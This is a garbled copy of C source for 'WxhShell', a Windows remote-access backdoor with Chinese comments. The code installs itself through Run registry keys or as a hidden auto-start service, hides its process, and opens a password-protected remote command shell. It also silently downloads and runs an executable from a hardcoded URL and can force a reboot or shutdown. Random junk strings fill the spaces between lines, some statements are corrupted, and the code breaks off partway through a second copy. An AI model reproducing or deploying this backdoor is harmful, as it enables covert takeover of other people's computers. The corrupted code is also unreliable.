M if(NULL == hInst ) return 0; [=q&5'FY0 ^J-\s_)" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SV0h'd(b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B78e*nNS#2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _)?59 n6]8W^g if (!NtQueryInformationProcess) return 0; MYVgi{ =7212('F hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HSsG0&'-Y if(!hProcess) return 0; Q&A^(z} gkw/Rd1oG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hYS}PE nkn4VA?" CloseHandle(hProcess); .P^&sl*J sw^4h`^' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9#X"m,SB if(hProcess==NULL) return 0; 7I`8r2H {N2MskK HMODULE hMod; 14
Toi char procName[255]; i~0x/wSl_ unsigned long cbNeeded; 6A9
r{'1 $\A=J if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LaCVI EAPjQA-B? CloseHandle(hProcess); ]n9gnE e;G}T%W if(strstr(procName,"services")) return 1; // 以服务启动 >`(]&o6<$ VW/ICX~"d return 0; // 注册表启动 &K.js } \7U'p:h=U %!r@l7< // 主模块 U8gf_R' int StartWxhshell(LPSTR lpCmdLine) A5[iFT> { g#/"3P2H SOCKET wsl; rCp'O\@S BOOL val=TRUE; ]5Mq^@mD' int port=0; F2:nL`]b[ struct sockaddr_in door; Zt LZW/` K*[`s'Ip- if(wscfg.ws_autoins) Install(); FZ~^cK9g: P ")1_! port=atoi(lpCmdLine); }@H(z "F+m}GJ=a if(port<=0) port=wscfg.ws_port; jC}2>_#m( 1HS43! WSADATA data; @&xWd{8' if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [ qx[ 0 QDdH5EfY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gql^Inx< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x^]J^L45 door.sin_family = AF_INET; vnS;T+NZSC door.sin_addr.s_addr = inet_addr("127.0.0.1"); sRkPXzK door.sin_port = htons(port); qb1JE[2F e=u?-8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > t~2 closesocket(wsl); L }L"BY3$ return 1; J,Rp&tavt: } O
!
iN &A!?:?3%O if(listen(wsl,2) == INVALID_SOCKET) { xjK@Q1MJ closesocket(wsl); [wv;CUmgc return 1; eWWtMnq } *P0sl( & Wxhshell(wsl); sRKoM WSACleanup(); e[l#r>NT (R|Ftjs . return 0; MlH0 1 ` ={** } VteMsL/H YM.Q?p4g // 以NT服务方式启动 N,ysv/zq7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -4!S?rHwd+ { GMW,+ DWORD status = 0; NPjNkpWm&= DWORD specificError = 0xfffffff; }$X/HK &X&msEM serviceStatus.dwServiceType = SERVICE_WIN32;
;U<}2M!g serviceStatus.dwCurrentState = SERVICE_START_PENDING; P?/Mrz serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TKs l.| serviceStatus.dwWin32ExitCode = 0; bJ5 VlK67R serviceStatus.dwServiceSpecificExitCode = 0; GX0S9s serviceStatus.dwCheckPoint = 0; K$kI%eGZA serviceStatus.dwWaitHint = 0; :xy4JRcF `*-rz<G hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mGP&NOR0^y if (hServiceStatusHandle==0) return; >\4"k4d} R8N*. [ status = GetLastError(); X-k$6}D if (status!=NO_ERROR) Mp,aQ0bNS { %k i^XB86 serviceStatus.dwCurrentState = SERVICE_STOPPED; caD)'FSES serviceStatus.dwCheckPoint = 0; +Jw+rjnP serviceStatus.dwWaitHint = 0; Tx:S{n7& serviceStatus.dwWin32ExitCode = status; ]gjB%R[.m serviceStatus.dwServiceSpecificExitCode = specificError; EAZLo; SetServiceStatus(hServiceStatusHandle, &serviceStatus); N4rDe]JnPR return; ~.&PQE$DF } ly( LMr hywy(b3 serviceStatus.dwCurrentState = SERVICE_RUNNING; )PCh;P0C serviceStatus.dwCheckPoint = 0; }=$>w@mJ serviceStatus.dwWaitHint = 0; i)=dp!Bx^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %2,'x } NnTAKd8 88g|(k/ // 处理NT服务事件,比如:启动、停止 0f9*=c VOID WINAPI NTServiceHandler(DWORD fdwControl) `/RcE.5n\@ { g(QT"O!dY switch(fdwControl) |{ TVW { -F`uz,wZ case SERVICE_CONTROL_STOP: =QS%D*.|D serviceStatus.dwWin32ExitCode = 0; D/&nEMp6 serviceStatus.dwCurrentState = SERVICE_STOPPED; T0v{qQ serviceStatus.dwCheckPoint = 0; J-5E# v serviceStatus.dwWaitHint = 0; eJ+@<+vr;x { QA=mD^A SetServiceStatus(hServiceStatusHandle, &serviceStatus); GD@|XwK){ } RGe2N| return; ,%d?gi"& case SERVICE_CONTROL_PAUSE: fVo7wp serviceStatus.dwCurrentState = SERVICE_PAUSED; bvF-F$n%F break; u#)ARCx ,w case SERVICE_CONTROL_CONTINUE: .!Q*VTW serviceStatus.dwCurrentState = SERVICE_RUNNING; =g{Hs1W break; y134m case SERVICE_CONTROL_INTERROGATE: wq:"/2p1 break; [
~:wS@% }; jUGk=/*]e SetServiceStatus(hServiceStatusHandle, &serviceStatus); +nz0ZQ9 a } vM?jm!nd "1z#6vw5a // 标准应用程序主函数 lQKq{WLFx. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WY$c^av< { vocWV/ i{biQ|,.sL // 获取操作系统版本 ?5j}&Y3 OsIsNt=GetOsVer(); QE4TvnhK GetModuleFileName(NULL,ExeFile,MAX_PATH); )QAS 7w#k l|sC\;S // 从命令行安装 RN"Ur'+ if(strpbrk(lpCmdLine,"iI")) Install(); (-%1z_@Y 2P,{`O1] // 下载执行文件 uWjEyxPv{ if(wscfg.ws_downexe) { XOT|: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H> Q
X?>j WinExec(wscfg.ws_filenam,SW_HIDE); b*TQKYT } w)Z-, J kK_9I (7c if(!OsIsNt) { =-E%vnU // 如果时win9x,隐藏进程并且设置为注册表启动 jL,P )TC HideProc(); sUz,F8G StartWxhshell(lpCmdLine); <%"o-xZq7C } FO{?Z%& ; else 9}$'q$0R] if(StartFromService()) M$Ow*!DfP // 以服务方式启动 .f-s+J&ED StartServiceCtrlDispatcher(DispatchTable); }9~U5UXWU else c1ptN // 普通方式启动 L "5;< StartWxhshell(lpCmdLine); se*!OiOt 2Dw}o;1' return 0; X}ft7;Jpy } D9%t67s )QW
p[bV ZmAo9>'Kg @ n^2UJ =========================================== q{uv?{I
;(
[^+_/ a[ yyEgm2 y`a]##1j$M mGh8/Xt V6kJoSyde " I78Q8W(5 1otE:bi #include <stdio.h> UId?a}J #include <string.h>
?)2; W #include <windows.h> k{J\)z #include <winsock2.h> pcNpr`
#include <winsvc.h> >l^[73,]L #include <urlmon.h> &0RKNpwg .f9&.H# #pragma comment (lib, "Ws2_32.lib") j5!pS xOC #pragma comment (lib, "urlmon.lib") =y0h\<[ M.``o1b #define MAX_USER 100 // 最大客户端连接数 K$c?:?wmo #define BUF_SOCK 200 // sock buffer ,:xses*7 #define KEY_BUFF 255 // 输入 buffer ,SH^L|I p9[gG\ #define REBOOT 0 // 重启 !@[@&. #define SHUTDOWN 1 // 关机 e'2w-^7 _Lgi5B% #define DEF_PORT 5000 // 监听端口 ( "wmc"qH ~F[JupU #define REG_LEN 16 // 注册表键长度 hVW1l&s #define SVC_LEN 80 // NT服务名长度 B3W2?5p 51 "v`O+ // 从dll定义API o[aIQ|G typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?0?+~0sI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zp+orc7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F7\nG}#s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #D^(dz* VJS1{n=;k // wxhshell配置信息 "0m\y+%8 struct WSCFG { $GQ{Ai:VwF int ws_port; // 监听端口 />O.U? char ws_passstr[REG_LEN]; // 口令 i QvqifDmh int ws_autoins; // 安装标记, 1=yes 0=no M3s:B& / char ws_regname[REG_LEN]; // 注册表键名 "c*#ZP char ws_svcname[REG_LEN]; // 服务名 0}9 char ws_svcdisp[SVC_LEN]; // 服务显示名 #Yx
/ubg6 char ws_svcdesc[SVC_LEN]; // 服务描述信息 c/}-pZn< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nU/x,W[} int ws_downexe; // 下载执行标记, 1=yes 0=no rw%OA4> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LCMn9I char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p4@0Dz`Q ;CDa*(e }; LfMN 'Cb `=E4J2" // default Wxhshell configuration Erm]uI9` struct WSCFG wscfg={DEF_PORT, ZJV;&[$[ "xuhuanlingzhe", +\RviF[+ 1, ql7N\COoq "Wxhshell", t;W'<.m_ "Wxhshell", Cf.(/5X "WxhShell Service", 3u oIYY "Wrsky Windows CmdShell Service", YLp#z8 1e "Please Input Your Password: ", I@ D<rjR 1, 3XhLn/@ "http://www.wrsky.com/wxhshell.exe", V3$zlzSm, "Wxhshell.exe" ~Gh9m]b }; wUH:l @6VkNe9 // 消息定义模块 X4/3vY char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kza5_7p`L char *msg_ws_prompt="\n\r? for help\n\r#>"; _uZVlu@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {cmV{ 4Yx char *msg_ws_ext="\n\rExit."; hy"=)n( char *msg_ws_end="\n\rQuit."; `gdk,L] char *msg_ws_boot="\n\rReboot..."; v,c;dlg_ char *msg_ws_poff="\n\rShutdown..."; }i52MI1-XP char *msg_ws_down="\n\rSave to "; *R8P brN @wh-.MD char *msg_ws_err="\n\rErr!"; 1 }_"2 char *msg_ws_ok="\n\rOK!"; 9,$
n6t; y-_IMu.J` char ExeFile[MAX_PATH]; 4R&pb1eF int nUser = 0; B:fulgh2ni HANDLE handles[MAX_USER]; K}QZdN'] int OsIsNt; @gi / 1 cq sPRs;to- SERVICE_STATUS serviceStatus; QLb!e"C SERVICE_STATUS_HANDLE hServiceStatusHandle; 95*=&d }*VRj;ff // 函数声明 |M|>/U 8 int Install(void); bf/z
T0 int Uninstall(void); UxvT|~" int DownloadFile(char *sURL, SOCKET wsh); =W"9a\m int Boot(int flag); Oe&gTXo void HideProc(void); K%YR; )5A int GetOsVer(void); HJ!P]X_J1 int Wxhshell(SOCKET wsl); WnQ+ void TalkWithClient(void *cs); :U6Q==B$_ int CmdShell(SOCKET sock); %)=c#H1 int StartFromService(void); >(Fy6m int StartWxhshell(LPSTR lpCmdLine); V-lp';bD Mc6v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i)@H VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Gh#2U ,p6o "- // 数据结构和表定义 ^`f qK4< SERVICE_TABLE_ENTRY DispatchTable[] = ~\u?Nf~L { CUx[LZR7m {wscfg.ws_svcname, NTServiceMain}, -|GX]jx(Y {NULL, NULL} m5lTf }; P"r7m ,R=)^Gh{ // 自我安装 5)i+x- int Install(void) qTV.DCP { gZ6tbp,X char svExeFile[MAX_PATH]; zRgl`zREr HKEY key; Z(BZGO< strcpy(svExeFile,ExeFile); aA-s{af LuWY}ste // 如果是win9x系统,修改注册表设为自启动 t{O2JF#5u if(!OsIsNt) { -fD W>]_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <,Fj}T- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !gj_9"< RegCloseKey(key); $`_xP1bUT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U)D}J_Zi( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `FAZAC\ RegCloseKey(key); y>&
s; return 0; ]Mj N)%hT } URMxCL^" } f&?
8fB8{ } S~V?Qe@&Z else { Im@Yx^gc W@61rT}c // 如果是NT以上系统,安装为系统服务 OGPrjL+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #g]eDU-[ if (schSCManager!=0) hv )d { c4M]q4]F SC_HANDLE schService = CreateService vn ^* ( qwYq9A$+ schSCManager, =6[R,{|C wscfg.ws_svcname, dwVo"_Yr wscfg.ws_svcdisp, |?ma? SERVICE_ALL_ACCESS, K&;/hdS=F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F`57;)F SERVICE_AUTO_START, s;xErH@RA SERVICE_ERROR_NORMAL, G9h B p svExeFile, hc]5f3Z NULL, Yw,LEXLY NULL, Cd7l+~*Y NULL, 1_z~<d
@?; NULL, aV G4Df NULL teJY*)d ); PB!*&T'! if (schService!=0) Hf9F:yH { zJG=9C? CloseServiceHandle(schService); 5>&C.+A 9 CloseServiceHandle(schSCManager); ^']*UD; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zX&wfE8T strcat(svExeFile,wscfg.ws_svcname); 8:jakOeT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bP{uZnOM2P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~4M?[E& RegCloseKey(key); d*Kg_He- return 0; _OJ19 Ry } 0-8'.C1v } xcQ:&q CloseServiceHandle(schSCManager); n(jrK9] } |4F'Zu}g> } ,zh4oX`> 3|0OW
Jk return 1; k9iB-=X?4s } }Pj;9ivz &Tk@2<5= // 自我卸载 @!%HEs!# # int Uninstall(void) 7z3YzQ=Kg { C^ Oy.s HKEY key; N@R?<a +EM^ if(!OsIsNt) { |. LE` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lNB<_SO RegDeleteValue(key,wscfg.ws_regname); .<.#g+ RegCloseKey(key); 7DIFJJE' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mgg m~|9) RegDeleteValue(key,wscfg.ws_regname); ^qV6khg RegCloseKey(key); S3?U-R^` return 0; 9/6=[) } I|)U>bV } 9l}G{u9a } nrCr9# else { 2w>yW] F^X:5g~K
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &U
yQ<O> if (schSCManager!=0) ?V4bz2#!1O { R<e ~Cb- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pSS8 %r%S' if (schService!=0) "M=1Eb$6= { n<Z1i) if(DeleteService(schService)!=0) { {'[S.r` CloseServiceHandle(schService); fk(h*L|sI CloseServiceHandle(schSCManager);
@+!u{ return 0; w7yz4_:x^ } %#@5(_' CloseServiceHandle(schService); h3P ^W(=& } C7_#D O6" CloseServiceHandle(schSCManager); :PQvt/-'(D } zl!Y(o!@ } AR7]~+X /U@Y2$TOF return 1; a<v!5\dq! } Wh1'?#
iKEHwm // 从指定url下载文件 +XL|bdK int DownloadFile(char *sURL, SOCKET wsh) zC_@wMWB { "j?\Ze* HRESULT hr; nSB@xP#& char seps[]= "/"; YF<U'EVU- char *token; 'klYGp char *file; ZGQz@H5 char myURL[MAX_PATH]; L] !M1\ char myFILE[MAX_PATH]; vXeI)vFK wak'L5GQE strcpy(myURL,sURL); ^THyohK token=strtok(myURL,seps); *[b22a4H( while(token!=NULL) .@3bz
{ 9AHxa file=token; Ae>:i7.V token=strtok(NULL,seps); i
E)Fo.H } Q a3+ 9 D@o8Gerq~ GetCurrentDirectory(MAX_PATH,myFILE); '*n2<y strcat(myFILE, "\\"); )jed@? strcat(myFILE, file); ,")/R/d send(wsh,myFILE,strlen(myFILE),0); T:!Re*=JJ send(wsh,"...",3,0); (GbZt{. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x4;ndck%U if(hr==S_OK) YQ7tZl;:t return 0; </9@RO else 0i/!nke. return 1;
D:Fi/JY~ \* SEj&9 } e6uVUzP4 FlepM* // 系统电源模块 S~Yu; int Boot(int flag) n_Bi HMIU' {
|RZI]H% HANDLE hToken; zOA2chy4 TOKEN_PRIVILEGES tkp; C}(9SASs% m$B)_WW if(OsIsNt) { e~NF}9#A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]TIBy "3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jt6,id)& tkp.PrivilegeCount = 1; +<w\K* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T {zz3@2? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n$y@a?al if(flag==REBOOT) { ::8c pUc`f if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QW_W5|_ return 0; #wfb-`,5&9 } {=<m^
5b9 else { 9O\N
K:2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )9z3T>QW return 0; .|<+-Rsj } _X]S`e1F } Vl%jpjqP else { (v1~p3H if(flag==REBOOT) { oO][X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4-Cca return 0; x`VA3nE9 } IHvrx:7 else { CyD)=e{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5nv1%48Ri return 0; fm&pxQjg } 6;#Rd| } v `7` ' N_| '`]D return 1; )@a_|q@V } rxQ&N[r2 ]]8^j='P' // win9x进程隐藏模块 W^N|+$g>H void HideProc(void) jxTYW)E { o6A1;e -9~WtTaV.H HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EN{o3@ O' if ( hKernel != NULL ) lq}g*ih { AQIBg9y7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tLo_lLn*~% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q-TDg0 FreeLibrary(hKernel); ,BE4z2a } )|j?aVqZ %3mh'Z -[f return; d{*e0 } T7~Vk2o%( l&oc/$&|[ // 获取操作系统版本 POt8G int GetOsVer(void) vbSycZ2M7 { C7xmk;c
w OSVERSIONINFO winfo; ! ,&{1p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =uD^#AX GetVersionEx(&winfo); ?<6yKxn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;cp,d~m rf return 1; XG}9)fT else =9L1Z \f return 0; go
B'C } 'rDai[ p-JGDjR0G // 客户端句柄模块 2tI ,`pSU int Wxhshell(SOCKET wsl) @tg4rl { W+u-M>Cj6 SOCKET wsh; p^*A&7d:P struct sockaddr_in client; Q$8&V}jVW DWORD myID; 1AAOg+Y@U" Sgq?r-Q. while(nUser<MAX_USER) sglH=0MP { i:\|G^h int nSize=sizeof(client); aDZ] {; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }B@44HdY if(wsh==INVALID_SOCKET) return 1; 2i)vT)~ h@%a+ 6b? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I@q(P>]X9 if(handles[nUser]==0) @~8* closesocket(wsh); 'ocPG.PaU else = ow=3Ku nUser++; vXT>Dc2\! } 3V%ts7: a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 12HE= <P.'r,"[ return 0; U*:E|'> } ]'5 G/H5?; 'ZAl7k . // 关闭 socket Js/QL=, void CloseIt(SOCKET wsh) -T{G8@V0I { "WZ | closesocket(wsh); Hp5.jor(k nUser--; 3oBR ExitThread(0); @^Yr=d ba } a9y+FCA t$g@+1p4 // 客户端请求句柄 :s>x~t8g#n void TalkWithClient(void *cs) C@{-$z) { IQeiT[TF qrufnu5cC SOCKET wsh=(SOCKET)cs; HMmB90P` char pwd[SVC_LEN]; iB#*XJ;q char cmd[KEY_BUFF]; lb\VQZp!y char chr[1]; .JX9(#Uk int i,j; DhD^w;f] D";@)\jN while (nUser < MAX_USER) { ?}"39n 'wni.E& if(wscfg.ws_passstr) { h&2l0|8k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fs0EbVDF //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vX|5*T`( //ZeroMemory(pwd,KEY_BUFF); \gR%PN i=0; v"-K-AQjB while(i<SVC_LEN) { <h%I-e6 0t7vg#v| // 设置超时 Z7p!YTA fd_set FdRead; f"SK3hI$p struct timeval TimeOut; <.hutU*1 FD_ZERO(&FdRead); q![`3m-d. FD_SET(wsh,&FdRead); '
r/xBj[Z TimeOut.tv_sec=8; .?kq\.rQ TimeOut.tv_usec=0; OJ r~iUr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V6Y0#sTU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CD[}|N (nAL;:$x2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z]R%'LGu pwd=chr[0]; Y`rli if(chr[0]==0xd || chr[0]==0xa) { Q)=LbR{# pwd=0; L}6!D zl break; 9qUkw&}H } fwNj@fl_,e i++; 0+F--E4 } !<?<f
db <.&84c]/& // 如果是非法用户,关闭 socket ?!y<%&U if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;OZl'
. %` } m UUNR, n x{MUN7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dozC[4mF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \P7<q,OGS %~L"TK`? while(1) { ~z)JO'Z$
#mkf2Z=t- ZeroMemory(cmd,KEY_BUFF); 1>Q4&1Vn Ll.P>LH // 自动支持客户端 telnet标准 J";4+wA7 j=0; < n/ 2 while(j<KEY_BUFF) { sLUOs]cj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +t3o5& cmd[j]=chr[0]; ~*x 2IPiH if(chr[0]==0xa || chr[0]==0xd) { 1!NrndJ I cmd[j]=0; }=Ul8
< break; .wB'"z8L } 9BAvE\o0 j++; 8N \<o7t% } i` Q&5KL ;8a9S0eS // 下载文件 1)5$,+~lL if(strstr(cmd,"http://")) { 8OiCldw:HN send(wsh,msg_ws_down,strlen(msg_ws_down),0); S%aup(wu6 if(DownloadFile(cmd,wsh)) Ph8@V}80"Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2M=h:::W else <w`EU[y_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Nn<pq } t& |